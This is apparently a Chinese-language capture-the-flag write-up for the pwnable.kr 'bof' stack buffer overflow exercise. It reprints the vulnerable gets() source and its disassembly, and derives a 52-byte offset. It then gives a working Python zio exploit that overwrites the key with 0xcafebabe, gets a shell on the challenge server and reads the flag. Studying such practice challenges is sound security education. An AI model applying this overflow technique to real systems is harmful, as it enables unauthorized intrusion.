Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
简单的栈溢出练习。
源码如下：
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
这里需要构造栈溢出，淹没至前一个栈帧的当前函数的参数位置。
linux下可以借助gdb进行动态调试，利用objdump进行静态反编译。
这里可使用objdump来静态查看栈分配情况objdump -d bof：
由题设只需关注main()和func()
0000062c <func>:
62c: 55 push %ebp
62d: 89 e5 mov %esp,%ebp
62f: 83 ec 48 sub $0x48,%esp
632: 65 a1 14 00 00 00 mov %gs:0x14,%eax
638: 89 45 f4 mov %eax,-0xc(%ebp)
63b: 31 c0 xor %eax,%eax
63d: c7 04 24 8c 07 00 00 movl $0x78c,(%esp)
644: e8 fc ff ff ff call 645 <func+0x19> ; call printf()
649: 8d 45 d4 lea -0x2c(%ebp),%eax ; char[32] -- offset to ebp
64c: 89 04 24 mov %eax,(%esp) ; 传参
64f: e8 fc ff ff ff call 650 <func+0x24> ; call gets()
654: 81 7d 08 be ba fe ca cmpl $0xcafebabe,0x8(%ebp)
65b: 75 0e jne 66b <func+0x3f>
65d: c7 04 24 9b 07 00 00 movl $0x79b,(%esp)
664: e8 fc ff ff ff call 665 <func+0x39>
669: eb 0c jmp 677 <func+0x4b>
66b: c7 04 24 a3 07 00 00 movl $0x7a3,(%esp)
672: e8 fc ff ff ff call 673 <func+0x47>
677: 8b 45 f4 mov -0xc(%ebp),%eax
67a: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
681: 74 05 je 688 <func+0x5c>
683: e8 fc ff ff ff call 684 <func+0x58>
688: c9 leave
689: c3 ret
0000068a <main>:
68a: 55 push %ebp
68b: 89 e5 mov %esp,%ebp
68d: 83 e4 f0 and $0xfffffff0,%esp
690: 83 ec 10 sub $0x10,%esp
693: c7 04 24 ef be ad de movl $0xdeadbeef,(%esp)
69a: e8 8d ff ff ff call 62c <func>
69f: b8 00 00 00 00 mov $0x0,%eax
6a4: c9 leave
6a5: c3 ret
6a6: 90 nop
可以发现 char overflowme[32] 在当前栈帧中距离EBP的偏移为0x2c，即44，再加上ESP的4，返回地址的4，即从局部变量overflowme首地址52byte的位置即为当前函数的参数key的地址。
借助python库zio（an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.）写脚本跑出flag。
from zio import *
host = "pwnable.kr" #143.248.249.64
port = 9000
io = zio((host, port), print_read=False, print_write=False)
payload = "a"*52 + "\xbe\xba\xfe\xca" + "\n"
io.write(payload+"\n")
io.write("cat flag\n")
buf = io.read_until("\n")
print buf
$ python run.py
daddy, I just pwned a buFFer :)
